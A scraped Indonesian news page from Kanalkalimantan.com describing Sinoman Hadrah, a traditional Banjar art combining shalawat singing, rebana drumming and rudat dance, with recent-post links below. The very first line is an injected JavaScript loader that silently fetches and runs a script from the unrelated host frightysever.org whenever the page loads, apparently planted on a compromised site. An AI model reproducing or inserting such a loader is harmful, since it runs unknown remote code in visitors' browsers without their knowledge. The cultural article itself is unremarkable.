(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Sinoman Hadrah, Seni Tradisi Banjar dengan Lantunan Syair Shalawat Nabi Muhammad SAW


KANALKALIMANTAN.COM, BANJARBARU- Islam berkembang dengan tetap menghidupi tradisi budaya lokal. Di Kalimantan Selatan, seni budaya berkembang tanpa kehilangan nilai-nilai keagamaan. Salah satu kesenian yang mencerminkan pertautan tersebut adalah seni pertunjukan Sinoman Hadrah.

Sinoman hadrah adalah kesenian yang memadukan seni suara (qasidah) dan seni tari. Syair-syair yang dinyanyikan berisi puji-pujian dan sanjungan kepada Rasulullah, dan juga syair-syair yang berisikan nasehat-nasehat dan petuah, dimana pesan pesan tersebut dilantunkan dengan penuh kegembiraan dan perasaan.

Kesenian ini biasanya dipentaskan saat menyambut tamu yang dihormati. Tapi juga sering dihadirkan dalam hajatan besar seperti acara perkawinan untuk menyemarakkan suasana.

Sinoman hadrah, terdiri dari dua kosa kata yakni sinoman, yang berarti perkumpulan orang dan hadrah yang mengambil kata bahasa Arab yang berarti hadir.

 

 

Baca juga: Bolehkan Poligami, PKS Buat Program Kadernya Nikahi Janda

Dalam tampilannya, Sinoman hadrah dipentaskan dengan alat musik dan perlengkapan lainnya seperti rebana, babun, ketipung, tamborens, bendera, dan payung besar berhias.

Biasanya, kesenian ini dilakukan oleh banyak orang. Terdiri lima atau enam pendendang syair yang sekaligus penabuh reban, kemudian pemutar payung ubur-ubur dan penari rudat berjumlah 20 hingga 30 orang.

Dengan pakaian warna mencolok dan gerakan bendera oleh penari, penampilan Sinoman Hadrah selalu menarik perhatian pengunjung.

“Pada setiap hajatan perkawinan, sinoman hadrah selalu menjadi acara hiburan yang dinanti masyarakat,” kata Abdullah, warga Banjarmasin.

Salah satu grup Sinoman Hadrah yang popular di Banjarmasin adalah Grup Cahaya Baru yang beralamat di Jalan Banyiur Luar, Banjarmasin Barat.

Sejak tahun 2017, Sinoman Hadrah masuk dalam warisan budaya tak benda dari Kementerian Pendidikan dan Kebudayaan (Kemendikbud) dengan nomor registrasi 201700544. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

6 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

27 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

55 menit ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

1 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

19 jam ago

This website uses cookies.